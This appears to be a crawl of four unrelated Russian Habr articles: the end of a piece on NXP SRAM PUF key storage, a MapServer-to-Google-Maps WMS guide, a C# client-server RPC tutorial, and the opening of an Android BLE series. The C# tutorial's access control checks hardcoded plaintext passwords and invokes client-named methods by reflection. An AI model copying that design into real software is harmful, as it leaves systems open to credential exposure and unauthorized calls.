После выполнения *Enroll* и получения *Activation Code* можно использовать SRAM PUF для защиты ключей и данных. Для этого необходимо сбросить питание в PUF, а затем вызвать команду *Start*.
*Activation Code* загружается в PUF, и на основе новых значений *SRAM Startup Data* с помощью алгоритма коррекции ошибок воспроизводится *Digital Fingerprint*. После этого можно использовать команды *SetKey*, *GenerateKey* и *GetKey*.
Рис. 5. Метод Start, заключающийся в воспроизведении Digital Fingerprint по сохраненному ранее Activation Code#### Пример работы алгоритма коррекции ошибок Fuzzy Extractor
Перед тем, как разобрать остальные методы, будет полезно наглядно показать, как именно происходит воспроизведение *Digital Fingerprint*.
В этом примере мы считаем, что *Digital Fingerprint* = *SRAM PUF Response* = *SRAM Startup Data*.
Для упрощения рассмотрим *SRAM PUF Response* из 1 байта. И опять же для упрощения будем считать, что у нас есть всего два так называемых *Code Word* – слова для коррекции ошибок:
* C0 = 00000000;
* C1 = 11111111.
1. В процессе выполнения *Enroll* мы получаем *SRAM PUF Response*. Выбираем случайное кодовое слово (*Code Word*) и с помощью операции XOR получаем *Helper Data (Activation Code)*.
2. При следующем запуске в момент выполнения команды *Start* мы извлекаем изменившееся значение *SRAM PUF Response* (изменилось из-за нестабильности ячеек SRAM).
3. Выполняем XOR *SRAM PUF Response* с *Helper Data*.
4. Анализируем количество '1' и '0' в полученном значении:
* Результат может быть ближе к *C0* или к *C1*.
* В случае с таким алгоритмом можно гарантировать исправление не более трех ошибочных битов в одном *SRAM PUF Response*.
5. Выполняем XOR наиболее близкого *Code Word* с *Helper Data* и получаем обратно оригинальный отпечаток.
Рис. 6. Пример восстановления оригинального отпечатка с помощью Helper Data#### PUF SetKey – преобразование пользовательского ключа
Команда *SetKey* выполняет преобразование *User Key* (пользовательского ключа / данных) в *Key Code* – безопасную последовательность, которую можно хранить где угодно. *User Key* может принимать значение от 64 бит до 4096 бит. Из диаграммы нетрудно заметить, что переносить эту последовательность (*Key Code*) на другой микроконтроллер бессмысленно, так как *Digital Fingerprint* уникален.
Каждый *Key Code* имеет свой индекс. *Key Code* с индексом 0 после обратного преобразования будет недоступен из программной части. Он может быть напрямую определен для работы с AES-блоком, который можно использовать для защиты прошивки.
Рис. 7. Метод SetKey, используемый для защиты пользовательского ключа с помощью PUF#### PUF GenerateKey – преобразование случайного пользовательского ключа
Также имеется возможность генерации случайного ключа внутри PUF-блока с последующим преобразованием в *Key Code*. Подробно останавливаться на этом не будем – рисунок говорит сам за себя.
Рис. 8. Метод GenerateKey, используемый для генерации случайного пользовательского ключа с последующей защитой PUF-блоком#### PUF GetKey – восстановление пользовательского ключа
И, наконец, последний метод: *GetKey* выполняет обратное преобразование *Key Code* в пользовательские данные. Ранее мы говорили о том, что ключ с индексом 0 недоступен из программной части и работает напрямую с другими криптографическими функциями.
Так вот, помимо AES-блока, *NXP Semiconductors* предоставляет еще один симметричный алгоритм шифрования – PRINCE. Его особенность в том, что он очень быстрый и отлично подходит для того, чтобы разворачивать прошивку на лету. Это особенно актуально для серии LPC5400, в которой вообще нет энергонезависимой памяти внутри чипа. Эти контроллеры работают по принципу *Execute-In-Place*.
Поэтому у метода *GetKey* есть параметр *KeySlot*. Он позволяет определить, в какой из криптографических блоков (AES или PRINCE) будет отправлен ключ после обратного преобразования.
Рис. 9. Метод GetKey, используемый для обратного преобразования KeyCode в пользовательский ключ#### Жизненный цикл устройства с SRAM PUF
После того, как мы разобрали каждый метод по отдельности, можно составить общую картину того, как эти функции связаны между собой.
Рис. 10. Методы SRAM PUF в одной картинке### Сценарии применения
Итак, как же мы можем использовать SRAM PUF на практике? Для этого обратимся к документу [*AN12292*](https://www.nxp.com/docs/en/application-note/AN12292.pdf), после прочтения которого можно обозначить три ключевые сферы применения SRAM PUF:
* персонализация девайсов;
* безопасная загрузка;
* защита пользовательских ключей и данных.
#### Персонализация девайсов
При персонализации девайсов выполняется подготовка PUF-блока посредством команды Enroll. Для этого подготовим специальную прошивку – *Enrollment Image*. С ее помощью мы можем провести тестирование готового устройства, сгенерировать и защитить необходимые для работы ключи, а также составить нашу базу аутентичных устройств. Далее мы можем настроить устройство на получение и работу с прошивкой, которая защищена уникальным для каждого устройства ключом.
Персонализация может проходить как в доверенном сегменте (OEM или другое доверенное производство), так и на производстве, которому мы не доверяем.
В доверенном сегменте мы можем с помощью штатных средств безопасно персонализировать наши устройства и подготовить их к работе. Но если мы работаем в недоверенном сегменте, то нам необходимо выстроить цепочку доверия с использованием асимметричного шифрования и отдельных модулей безопасности (*Hardware Security Module, HSM*). В таком случае возникает проблема проверки публичного ключа на подлинность. Чтобы избежать подмены такого ключа злоумышленником, его необходимо подписать доверенным сертификатом производителя. Мы вернемся к этой проблеме позже, а пока давайте рассмотрим гипотетический процесс доставки прошивки на устройство с SRAM PUF.
Рис. 11. Процесс подготовки образа для передачи на производство (на основе информации из AN12291)К примеру, на подготовительной стадии с *Enrollment Image* мы сгенерировали пару ключей – *IP Binding Keys*. Приватный ключ был защищен с помощью SRAM PUF и теперь хранится в виде *Key Code*. Публичный ключ (*Public IPB Key*) мы передаем на наше производство (*Original Equipment Manufacturer, OEM*).
У себя мы подготавливаем прошивку (*Image Bundle*) и закрываем ее с помощью симметричного ключа (*Distribution Key*). А симметричный ключ, в свою очередь, мы закрываем с помощью публичного ключа, полученного от конкретного устройства. Таким образом, мы можем подготовить образ, предназначенный для работы на конкретном микроконтроллере, после чего отправить его обратно на контрактное производство.
Однако, как уже было сказано ранее, возникает проблема проверки подлинности полученного нами публичного ключа (*Public IPB Key*). Появляется возможность для атаки, когда злоумышленник встает между устройством и нашим производством (*Man-In-The-Middle*) и вместо аутентичного публичного ключа микроконтроллера мы получаем публичный ключ атакующего.
Анализ документа [*AN12291*](https://www.nxp.com/docs/en/application-note/AN12291.pdf) не дал четкого понимания, как можно решить эту проблему, поэтому мы написали *NXP Semiconductors*. Так как оригинальная технология принадлежит *Intrinsic ID*, нас направили за подробностями к ним. В процессе поиска решения мы нашли [запись](https://youtu.be/Yh-vOUY1m6s) совместного вебинара *Intrinsic ID* и *GlobalSign*, в котором есть слайд, косвенно отвечающий на поставленный вопрос, – интеграция проверки подлинности должна быть заложена производителем микросхемы.
Рис. 12. Процесс персонализации (выдержка из вебинара Strong Device Identities Through SRAM PUF-based Certificates)Чуть позже нам ответили и сами *Intrinsic ID*, которые подтвердили эту информацию. Производство должно быть либо полностью доверенным, либо партия микроконтроллеров должна пройти подготовительную стадию *Enroll* у производителя, в процессе которой будут сгенерированы секреты с использованием так называемого CA (*Certificate Authority*) приватного ключа.
Предоставляет ли такую услугу *NXP Semiconductors* – мы не знаем. Скорее всего, да, но отдельный запрос мы не отправляли. В любом случае это скорее актуально только для крупных серий устройств. Таким образом, можно сделать вывод, что в случае использования SRAM PUF в контроллерах *NXP Semiconductors*, подготовительная стадия должна проходить в полностью доверенном сегменте.
#### Безопасная загрузка
Для безопасной загрузки в контроллерах *NXP Semiconductors* есть поддержка *Secure Boot*. В подробностях с процессом *Secure Boot* можно ознакомиться в документе [*AN12385*](https://www.nxp.com/docs/en/application-note/AN12385.pdf) на странице 13. Ранее мы говорили о том, что в *NXP Semiconductors* есть криптографические блоки AES и PRINCE, а *Key Code* с определенным индексом может быть сразу использован для работы с этими блоками по специальной шине.
Таким образом, разработчику достаточно сгенерировать и сохранить у себя симметричный ключ, закрыть прошивку этим ключом, а после этого обернуть ключ в *Key Code* с нулевым индексом. Тем самым разработчик запрещает PUF-блоку передавать явное представление ключа куда-либо, кроме криптографических блоков.
#### Защита пользовательских ключей и данных
Ну и, конечно же, SRAM PUF может использоваться для защиты пользовательских ключей и данных во время работы вашего устройства. Конфиденциальную информацию, которую необходимо сохранить, можно обернуть в *Key Code*, тем самым сделав его содержимое читаемым только на конкретном девайсе. То же самое касается и асимметричных ключей – мы можем хранить только публичный ключ, а приватный обернуть в *Key Code*, разворачивая его только в том случае, когда он требуется для работы криптографии. Для создания пар асимметричных ключей в *NXP Semiconductors* есть отдельный криптографический модуль – CASPER.
Однако не стоит забывать, что максимальный размер *User Key* составляет всего 512 байт.
Рис. 13. Сценарий использования SRAM PUF для защиты персональной информации### Отладочная плата
Давайте теперь подробнее о том, на чем все это можно пощупать. Для оценки возможностей SRAM PUF на практике нами была закуплена отладочная плата *LPC54S018-EVK*. Стоимость такой платы в [Чип и Дип](https://www.chipdip.ru/product1/8001575832) на момент публикации этой статьи составляет *7960* рублей.
Рис. 14. Отладочная плата LPC54S018-EVKКраткий список того, что в ней есть:
* программатор LINK2 Probe;
* QSPI-флешка;
* SDRAM;
* Arduino UNO коннектор;
* SD/MMC-слот;
* RJ-45 Ethernet коннектор;
* акселерометр;
* 2 USB – Full & High Speed;
* LEDs;
* Stereo Audio;
* Digital Microphone.
Вместе с отладочной платой поставляется внушительный список демонстрационных приложений, среди которых можно найти пример для работы с PUF. Также *NXP Semiconductors* поставляет свою Eclipse-подобную IDE, именуемую *MCUXpresso*.
После установки *MCUXpresso* и добавления SDK-пакета отладочной платы проект можно импортировать из раздела *driver\_examples -> puf*.
Приведем из этого примера фрагмент кода, иллюстрирующего создание и реконструкцию пользовательского ключа:
```
#define PUF_ACTIVATION_CODE_SIZE 1192U
#define PUF_INTRINSIC_KEY_SIZE 16
...
status_t result;
uint8_t activationCode[PUF_ACTIVATION_CODE_SIZE];
uint8_t keyCode1[PUF_GET_KEY_CODE_SIZE_FOR_KEY_SIZE(PUF_INTRINSIC_KEY_SIZE)];
uint8_t intrinsicKey[16] = {0};
/* Perform enroll to get device specific PUF activation code */
/* Note: Enroll operation is usually performed only once for each device. */
/* Activation code is stored and used in Start operation */
result = PUF_Enroll(PUF, activationCode, sizeof(activationCode));
if (result == kStatus_EnrollNotAllowed)
{
PRINTF("Enroll is not allowed!\r\n");
PRINTF("Error during Enroll!\r\n");
return result;
}
PUF_Deinit(PUF, &conf);
/* Reinitialize PUF after enroll */
result = PUF_Init(PUF, &conf);
if (result != kStatus_Success)
{
PRINTF("Error Initializing PUF!\r\n");
return result;
}
/* Start PUF by loading generated activation code */
result = PUF_Start(PUF, activationCode, sizeof(activationCode));
if (result == kStatus_StartNotAllowed)
{
PRINTF("Start is not allowed!\r\n");
PRINTF("Error during Start !\r\n");
return result;
}
/* Generate new intrinsic key with index 1 */
result = PUF_SetIntrinsicKey(PUF, kPUF_KeyIndex_01, PUF_INTRINSIC_KEY_SIZE,
keyCode1, sizeof(keyCode1));
if (result != kStatus_Success)
{
PRINTF("Error setting intrinsic key!\r\n");
return result;
}
/* Reconstruct intrinsic key from keyCode1 generated by PUF_SetIntrinsicKey() */
result = PUF_GetKey(PUF, keyCode1, sizeof(keyCode1),
intrinsicKey, sizeof(intrinsicKey));
if (result != kStatus_Success)
{
PRINTF("Error reconstructing intrinsic key!\r\n");
return result;
}
PRINTF("Reconstructed intrinsic key = ");
for (int i = 0; i < 16; i++)
{
PRINTF("%x ", intrinsicKey[i]);
}
PUF_Deinit(PUF, &conf);
PRINTF("\r\n\nExample end.\r\n");
return kStatus_Success;
```
Перед началом работы выполняется генерация *ActivationCode* с помощью вызова API-функции *PUF\_Enroll*. После чего происходит повторная инициализация и запуск PUF с помощью вызова *PUF\_Start*. Далее в качестве примера генерируется случайный пользовательский ключ, который затем преобразуется в *KeyCode*. В конце концов происходит восстановление пользовательского ключа из *KeyCode* с помощью функции *PUF\_GetKey*.
Рис. 15. Результат выполнения### Какие проблемы есть у SRAM PUF?
Основная проблема SRAM PUF – это подверженность кремния старению. В процессе работы на транзисторы внутри SRAM-ячеек воздействуют такие факторы, как:
* Negative-bias temperature instability (NBTI) – температурная нестабильность перехода;
* Hot Carrier Injection (HCI) – инжекция горячих носителей;
* Time-dependent gate oxide breakdown (TDDB) – пробой затвора.
Рис. 16. Факторы, влияющие на продолжительность жизненного цикла SRAM PUFДля борьбы с этими воздействиями применяют разные методики "антистарения", которые, согласно документу [*White Paper The reliability of SRAM PUF*](https://www.intrinsic-id.com/wp-content/uploads/2017/08/White-Paper-The-reliability-of-SRAM-PUF.pdf), значительно продлевают жизненный цикл устройства. Однако авторы документа не особо углубляются в то, какие конкретно методики они применяют в своих тестах. Предположительно, устройство с SRAM PUF, в котором применяются все технологии, направленные на борьбу с неблагоприятными факторами, должно прослужить не менее 25 лет.
Другая проблема – это возможность проведения в будущем криптографических атак с помощью методов машинного обучения. В сети мы нашли интересный доклад компании *Криптонит* ([*Физически неклонируемые функции в криптографии*](https://www.ruscrypto.ru/resource/archive/rc2020/files/02_chichayeva.pdf)) с конференции *РусКрипто 2020*, из которого можно сделать следующий вывод: простые PUF могут ломаться за несколько часов или даже минут. Мы не смогли найти успешных кейсов по построению моделей для атаки на конкретную реализацию от *Intrinsic ID*, но это не значит, что такие атаки невозможны.
### Выводы
Какие из всего этого можно сделать выводы?
Во-первых, SRAM PUF по своей концепции является достаточно перспективной технологией для защиты ключей и данных. Однако нам не удалось найти практическое и задокументированное описание работы алгоритма коррекции ошибок и алгоритма получения *Activation Code*. Следовательно, мы не можем быть уверены в том, что данная технология и ее конкретная реализация безопасны и действительно работают так, как это описано в документах *NXP Semiconductors* и *Intrinsic ID*. Иными словами, приходится полагаться на *безопасность через неясность* (*security through obscurity*).
Во-вторых, у SRAM PUF есть недостатки. Срок жизни любого полупроводникового девайса ограничен, но сама технология накладывает дополнительные издержки. Нельзя исключать возможность криптографических атак, которые смогут пошатнуть стойкость SRAM PUF в будущем.
В-третьих, для производства в недоверенном сегменте (как правило, это крупносерийное производство) контроллеры должны проходить подготовительную стадию у производителя микросхем, что накладывает дополнительные издержки. Но в случае мелкосерийного производства у разработчика есть возможность выполнить персонализацию у себя.
Дополнительная информация**Источники**
* [AN12292 - Secure Storage with SRAM PUF on NXP LPC54S0xx](https://www.nxp.com/docs/en/application-note/AN12292.pdf)
* [AN12324 - LPC55Sxx usage of the PUF and Hash Crypt to AES coding](https://www.nxp.com/docs/en/application-note/AN12324.pdf)
* [AN12385 - Building a Secure System using NXP Secure MCU LPC54S0xx](https://www.nxp.com/docs/en/application-note/AN12385.pdf)
* [AN12291 - IP Binding on NXP LPC MCUs featuring on-chip Flash](https://www.nxp.com/docs/en/application-note/AN12291.pdf)
* [White Paper - The reliability of SRAM PUF](https://www.intrinsic-id.com/wp-content/uploads/2017/08/White-Paper-The-reliability-of-SRAM-PUF.pdf)
* [Extend MCU Security Capabilities Beyond Trusted Execution with Hardware Crypto Acceleration and Protection](https://www.nxp.com/docs/en/white-paper/IOTSECWP.pdf)
* [Физически неклонируемые функции в криптографии - компания Криптонит](https://www.ruscrypto.ru/resource/archive/rc2020/files/02_chichayeva.pdf)
* [NXP Semiconductors](https://www.nxp.com/)
* [Intrinsic ID](https://www.intrinsic-id.com/)
* [Strong Device Identities Through SRAM PUF-based Certificates | Webinar](https://www.youtube.com/watch?v=Yh-vOUY1m6s)
*Raccoon Security – специальная команда экспертов НТЦ «Вулкан» в области практической информационной безопасности, криптографии, схемотехники, обратной разработки и создания низкоуровневого программного обеспечения.*
*Мы постоянно проводим индивидуальные стажировки и будем благодарны, если вы поделитесь ссылкой на эту статью с теми, кому это может быть интересно*.
**Оставить заявку на прохождение стажировки можно** [**тут**](https://raccoonsecurity.ru/internship/)**.** | https://habr.com/ru/post/563880/ | null | ru | null |
# MapServer -> Google Maps
**От автора**
Эта статья-заготовка для другой, большей статьи, но публикуется впервые. Она, возможно, несколько сложновата для восприятия для специалиста не знакомого с MapServer и цифровой картографией, постараюсь этот пробел восполнить в дальнейшем.
**Задача:**
Демонстрация пользовательского набора пространственных данных (слоя) поставляемых с помощью сервера WMS MapServer на картографической основе Google Maps с использованием Google Maps API и чистый javascript.
В отличие OpenLayers, специально предназначенного на работу с данными получаемых с других серверов, программный интерфейс (API) к Google Maps по умолчанию не поддерживает работу с WMS слоями, что очень неудобно. Так же, Google Maps не предоставляет возможности использовать свои данные через WMS. К счастью, есть способ «научить» API Google Maps работать с WMS слоями, например поставляемыми с помощью MapServer.
Далее мы рассматриваем реализацию такого интерфейса простейшими средствами, предполагается, что читатель имеет представление о добавлении Google Maps на страницы сайта и создании серверов WMS с помощью MapServer. Если нет — буду рад снабдить читателя подробными инструкциями о том и о другом на русском языке написанных мною.
**Определения:**
В любом деле хорошо начать с определений имеющих ключевой характер для данной статьи.
[MapServer](http://mapserver.gis.umn.edu/) — свободная среда разработки картографических интернет-приложений. MapServer не является полноценной ГИС. Главная задача MapServer — рендеринг пространственных данных (векторных и растровых) для веб. Помимо всего прочего, MapServer может выступать в роли сервера WMS.
[Google Maps](http://maps.google.com) — Картографический сервис компании Google, предоставляющий доступ к пространственным данным хранящимся на серверах Google с помощью инструментария разработчика Google Maps API, допускает отображение пользовательских данных.
WMS — картографический интернет-сервис (Web Mapping Service), определяющий параметры запроса и предоставления картографической (пространственной) информации в среде Интернет в виде графического изображения. Также описывает условия получения и предоставления информации о содержимом карты (например, свойства объекта в определенном месте на карте) и характеризует условия получения и предоставления информации о возможностях сервера по представлению различных типов картографической информации.
Система координат — набор правил определяющих положение объектов в пространстве в одном и более измерениях. Распространенные системы координат — географические и прямоугольные (спроецированные).
**Практика**
Итак, разберем как:
1. 1. Реализовать доступ к WMS в Google Maps
2. 2. Добавить систему координат сервиса Google Maps в Proj
3. 3. Настроить MapServer
**1. Реализация доступ к WMS в Google Maps**
Трюк с наложением слоя WMS состоит из двух частей. Создадим новый слой типа GTileLayer и GCopyrightCollection, обычно используемый для пользовательских изображений, таких как копирайты. Как видно, в примере, одним из главных параметров, передаваемых этому слою является адрес нашего сервиса WMS, созданного заранее.
`var tile= new GTileLayer(new GCopyrightCollection(""),1,17);
tile.myLayers='WMS';
tile.myFormat='image/png';
tile.myBaseURL='http://gis-lab.info/cgi-bin/wmsworld?';
tile.getTileUrl=CustomGetTileUrl;`
В этом примере используется реальный сервер WMS, который можешь попробовать и Ты, Читатель.
После указания некоторых дополнительных параметров, URL каждого фрагмента слоя с помощью фукнции CustomGetTileUrl. Эта функция содержится в [специальной программе на javascript](http://johndeck.blogspot.com/2006/02/layerwing-wms-services-with-googlemaps.html), созданной John Deck.
Этот скрипт предназначен для формирования с помощью javascript специальных запросов к серверам WMS с учетом системы координат, необходимой для правильного показа данных в Google Maps. Взяв из параметра tile.myBaseURL адрес сервера WMS, скрипт берет из него тайлы размером 256х256 пиксел и создавая для каждого GTileLayer накладывает их на основу Google Maps.
Пример одного из тайлов нашего тестового сервиса WMS:
Еще одна важная функция, которую выполняет скрипт — согласование систем координат сервера WMS и Google Maps, каждый тайл возвращается в нужной GM системе.
На этом клиентская (браузерная) часть закончена, переходим к махинациям на сервере.
**2. Добавить систему координат сервиса Google Maps в Proj**
Чтобы MapServer мог возвратить данные в системе координат требуемой GM, необходимо ему ее прописать. Системы координат MapServer хранятся в файле epsg и управляются незаменимой программой любого картографа, используемой в сотнях других проектах — PROJ. Поэтому, идем например сюда: /usr/local/share/proj/epsg
И добавляем в конец файла следующее описание:
`# Google Mercator
<54004> +proj=merc +lat_ts=0 +lon_0=0 +k=1.000000 +x_0=0 +y_0=0
+ellps=WGS84 +datum=WGS84 +units=m no_defs <>`
**3. Настроить MapServer**
Повторюсь, предполагается, что сервис WMS уже настроен и работает, нам надо лишь добавить в Capabilities вывод сервиса в нужной нам системе координат, обозначаемой теперь магическим кодом 54004. Для этого идем в наш map-файл, находим описание LAYER и добавляем новый код:
`LAYER
....
METADATA
wms_title "world"
wms_abstract "world test"
wms_srs "EPSG:4326 EPSG:54004"
wms_include_items "all"
END
END`
Наслаждаемся результатом, здесь, поверх основы Google Maps наложен контент сервиса WMS предоставляющего доступ к линейному слою границ стран, отрисованных красным цветом.
Примечание: Статья еще не опубликована на GIS-Lab в открытую и будет опубликована через несколько дней после публикации здесь, на хабре.
**Обновление 05.01.2009**: Полную версию статьи, содержащую много интересных дополнительных, не жизненно важных для реализации деталей, можно найти по адресу: <http://gis-lab.info/qa/ms-gm.html>. | https://habr.com/ru/post/48012/ | null | ru | null |
# Пишем свой синхронный/асинхронный клиент-сервер
Всем привет.
В этой статье рассмотрим принцип многопоточного TCP сервера приложений в котором реализуем синхронные и асинхронные вызовы, а также разграничение доступа к процедурам и сжатие данных.
С чего все начиналось.
Все началось с непростого выбора с чего начать реализацию взаимодействия между собой нескольких разных приложений работающих через сеть интернет. Казалось-бы WCF способен решить такую задачу, но, к сожалению, он не лишен минусов и некоторых проблем, а его принцип работы сильно сказывается на скорости передачи данных. Нужно было простое решение и в то же время достаточно функциональное.
Начнем наш проект с библиотеки классов, в которой создадим интерфейсы процедур и функций для приложений различных типов.
```
public interface ICommon
{
string[] GetAvailableUsers();
void ChangePrivileges(string Login, string password);
}
public interface IDog
{
bool TryFindObject(out object obj);
int Bark(int nTimes);
}
public interface ICat
{
void CutTheText(ref string Text);
}
```
Здесь мы описали сигнатуру процедур для трех разных уровней доступа. Как можно догадаться, Common будет содержать процедуры доступные для всех типов удаленных клиентов. Dog и Cat здесь, это наши два типа удаленных клиентов, процедуры каждого из них будут доступны только им самим.
Здесь же создадим класс, с помощью которого мы будем обмениваться данными между сервером и клиентами.
```
[Serializable]
public class Message
{
public Message(string Command, object[] Parameters)
{
this.Command = Command;
if (Parameters != null) this.prms = Parameters;
}
public bool IsSync;
public bool IsEmpty = true;
public readonly string Command;
public object ReturnValue;
public object[] prms;
public Exception Exception;
}
```
##### Клиент
Клиент будет реализовать проксирующую связь между методами интерфейса и сервером. Для этого создадим класс реализующий прокси:
```
private class Proxy : RealProxy where T : class
{
UniservClient client;
public Proxy(UniservClient client): base(typeof(T))
{
this.client = client;
}
public override IMessage Invoke(IMessage msg)
{
IMethodCallMessage call = (IMethodCallMessage)msg;
object[] parameters = call.Args;
int OutArgsCount = call.MethodBase.GetParameters().Where(x => x.IsOut).Count();
Message result = client.Execute(call.MethodName, parameters);
parameters = parameters.Select((x, index) => result.prms[index] ?? x).ToArray();
return new ReturnMessage(result.ReturnValue, parameters, OutArgsCount, call.LogicalCallContext, call);
}
}
```
И создадим свойства для доступа к методам интерфейсов:
```
public ICommon Common { get; private set; }
public IDog Dog { get; private set; }
public ICat Cat { get; private set; }
```
Инициализируем прокси и свойства:
```
CommonProxy = new Proxy(this);
DogProxy = new Proxy(this);
CatProxy = new Proxy(this);
Common = (ICommon)CommonProxy.GetTransparentProxy();
Dog = (IDog)DogProxy.GetTransparentProxy();
Cat = (ICat)CatProxy.GetTransparentProxy();
```
Обработка команд сервера:
```
private void Listener()
{
while (true)
{
try
{
if (ListenerToken.IsCancellationRequested) return;
if (!IsConnected) _Connect();
while (true)
{
if (ListenerToken.IsCancellationRequested) return;
Message msg = ReceiveData();
if (msg.Command == "OnPing")
{
// отражаем пинг
SendData(msg);
if (Events.OnPing != null) Events.OnPing.BeginInvoke(null, null);
continue;
}
if (msg.IsSync)
{ // получен результат синхронной процедуры
SyncResult(msg);
}
else
{
// асинхронный вызов события
try
{
// ищем соответствующий Action
var pi = typeof(IEvents).GetProperty(msg.Command, BindingFlags.Instance | BindingFlags.Public);
if (pi == null) throw new Exception(string.Concat("Свойство \"", msg.Command, "\" не найдено"));
var delegateRef = pi.GetValue(this, null) as Delegate;
// инициализируем событие
if (delegateRef != null) ThreadPool.QueueUserWorkItem(state => delegateRef.DynamicInvoke(msg.prms));
}
catch (Exception ex)
{
throw new Exception(string.Concat("Не удалось выполнить делегат \"", msg.Command, "\""), ex);
}
}
}
}
catch (TaskCanceledException)
{
return;
}
catch (Exception ex)
{
if (Events.OnError != null) Events.OnError.BeginInvoke(ex, null, null);
}
finally
{
\_Dicsonnect();
}
Thread.Sleep(2000);
}
}
```
За выполнение удаленных процедуры отвечают методы:
```
private Message Execute(string MethodName, object[] parameters)
{
lock (syncLock)
{
_syncResult = new Message(MethodName, parameters);
_syncResult.IsSync = true;
_OnResponce.Reset();
SendData(_syncResult);
_OnResponce.Wait(); // ожидаем ответ сервера
if (_syncResult.IsEmpty)
{// произошел дисконект, результат не получен
throw new Exception(string.Concat("Ошибка при получении результата на команду \"", MethodName, "\""));
}
if (_syncResult.Exception != null) throw _syncResult.Exception; // исключение переданное сервером
return _syncResult;
}
}
private void SyncResult(Message msg)
{ // получен результат выполнения процедуры
_syncResult = msg;
_syncResult.IsEmpty = false;
_OnResponce.Set(); // разблокируем поток
}
```
В общих чертах клиент работает следующим образом:
Когда приложение вызывает метод интерфейса, выполнение переходит к прокси-серверу. Прокси отправляет серверу имя вызываемого метода вместе с его параметрами и блокирует поток в ожидании результата выполнения. Разбор ответов сервера происходит в другом потоке, который разрешает продолжение заблокированного потока.
##### Сервер
Создадим иерархию классов, которые будут определять доступность тех или иных функций:
```
public class Cat_Ring0 : Ring2, ICat
{
public Cat_Ring0(User u) : base(u)
{
up.UserType = UserType.Cat;
}
public void CutTheText(ref string Text)
{
Text = Text.Remove(Text.Length - 1);
}
}
public class Dog_Ring0 : Dog_Ring1, IDog
{
public Dog_Ring0(User u) : base(u)
{
up.UserType = UserType.Dog;
}
public int Bark(int nTimes)
{
var ConnectedDogs = ConnectedUsers.ToArray().Where(x => x.UserType == UserType.Dog).Select(x => x.nStream);
ConnectedDogs.AsParallel().ForAll(nStream =>
{
SendMessage(nStream, new Message("OnBark", new object[] { nTimes}));
});
return ConnectedDogs.Count();
}
}
public class Dog_Ring1 : Ring2
{
public Dog_Ring1(User u): base(u)
{
up.UserType = UserType.Dog;
}
public bool TryFindObject(out object obj)
{
obj = "TheBall";
return true;
}
}
public class Ring2 : Ring, ICommon
{
public Ring2(User u) : base(u) { }
public string[] GetAvailableUsers()
{
return new string[] { "Dog0", "Dog1", "Tom" };
}
public void ChangePrivileges(string Animal, string password)
{
switch (Animal)
{
case "Dog0":
if (password != "groovy!") throw new Exception("Не верный пароль");
up.ClassInstance = new Dog_Ring0(up);
break;
case "Dog1":
if (password != "_password") throw new Exception("Не верный пароль");
up.ClassInstance = new Dog_Ring1(up);
break;
case "Tom":
if (password != "TheCat") throw new Exception("Не верный пароль");
up.ClassInstance = new Cat_Ring0(up);
break;
default:
throw new Exception("Такого пользователя не существует");
}
}
}
public abstract class Ring
{
public readonly User up;
public Ring(User up)
{
this.up = up;
}
}
```
Теперь достаточно поместить процедуру в определенное “кольцо” что бы соответствующий клиент имел к ней доступ. Ring0 это верхний уровень доступа, пользователь этого типа имеет доступ не только к находящимся в нем процедурам, но и процедурам во всех наследуемых классах. Изначально пользователь попадает в Ring2, который реализует только общие методы доступные всем. Далее с помощью *ChangePrivileges()* пользователь может, пройдя авторизацию, попасть в определенный тип «кольца» с определенным уровнем доступа.
Основная работа сервера сводится к следующему методу:
```
private void ProcessMessage(Message msg, User u)
{
string MethodName = msg.Command;
if (MethodName == "OnPing") return;
// ищем запрошенный метод в кольце текущего уровня
MethodInfo method = u.RingType.GetMethod(MethodName, BindingFlags.Instance | BindingFlags.Public | BindingFlags.FlattenHierarchy);
try
{
if (method == null)
{
throw new Exception(string.Concat("Метод \"", MethodName, "\" недоступен"));
}
try
{
// выполняем метод интерфейса
msg.ReturnValue = method.Invoke(u.ClassInstance, msg.prms);
}
catch (Exception ex)
{
throw ex.InnerException;
}
// возвращаем ref и out параметры
msg.prms = method.GetParameters().Select(x => x.ParameterType.IsByRef ? msg.prms[x.Position] : null).ToArray();
}
catch (Exception ex)
{
msg.Exception = ex;
}
finally
{
// возвращаем результат выполнения запроса
SendMessage(u.nStream, msg);
}
}
```
Свойство *ClassInstance* содержит экземпляр “кольца” в котором будет выполняться поиск процедуры по ее имени.
Пример лога выполнения:
В результате получилось простое и элегантное решение аналогичное WCF.
Исходник можно взять [тут](https://github.com/milesprower/Uniserv) | https://habr.com/ru/post/190548/ | null | ru | null |
# Android Bluetooth Low Energy (BLE) — готовим правильно, часть #1 (scanning)
### Содержание
Часть #1 (scanning), вы здесь.
[Часть #2 (connecting/disconnecting)](https://habr.com/ru/post/537526/).
[Часть #3 (read/write)](https://habr.com/ru/post/538768/)
[Часть #4 (bonding)](https://habr.com/ru/post/539740/)
В последний год я разрабатывал Bluetooth Low Energy (BLE) приложения под iOS и это оказалось довольно простым. Далее было портирование их на Android… насколько это могло быть сложным?
Могу точно сказать – это было сложней, чем представлял, мне пришлось приложить немало усилий для стабильной работы под Android. Я изучил много статей в свободном доступе, некоторые оказались ошибочными, многие были очень полезными и помогли в деле. В этой серии статей я хочу описать свои выводы, чтобы вы не тратили уйму времени на поиски как я.
### Особенности работы BLE под Android
* **Google документация по BLE очень общая**, в некоторых случаях нет важной информации или она устарела, примеры приложений не показывают, как правильно использовать BLE. Я обнаружил лишь несколько источников, как правильно сделать BLE. [Презентация Stuart Kent](https://www.stkent.com/2017/09/18/ble-on-android.html) дает замечательный материал для старта. Для некоторых продвинутых тем есть хорошая статья [Nordic](https://devzone.nordicsemi.com/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-04-DZ-1046/2604.BLE_5F00_on_5F00_Android_5F00_v1.0.1.pdf).
* **Android BLE API это низкоуровневые операции**, в реальных приложениях нужно использовать несколько слоев абстракции (как например сделано «из коробки» в iOS-CoreBluetooth). Обычно нужно самостоятельно сделать: очередь команд, bonding, обслуживание соединений, обработка ошибок и багов, мультипоточный доступ . Самые известные библиотеки: [SweetBlue](https://github.com/iDevicesInc/SweetBlue), [RxAndroidBle](https://github.com/Polidea/RxAndroidBle) и [Nordic](https://github.com/NordicSemiconductor/Android-BLE-Library). На мой взгляд самая легкая для изучения - Nordic, [см. детали тут](https://github.com/weliem/blessed-android).
* **Производители делают изменения в Android BLE стеке** или полностью заменяют на свою реализацию. И надо учитывать разницу поведения для разных устройств в приложении. То что прекрасно работает на одном телефоне, может не работать на других! В целом не все так плохо, например реализация Samsung сделана лучше собственной реализации от Google!
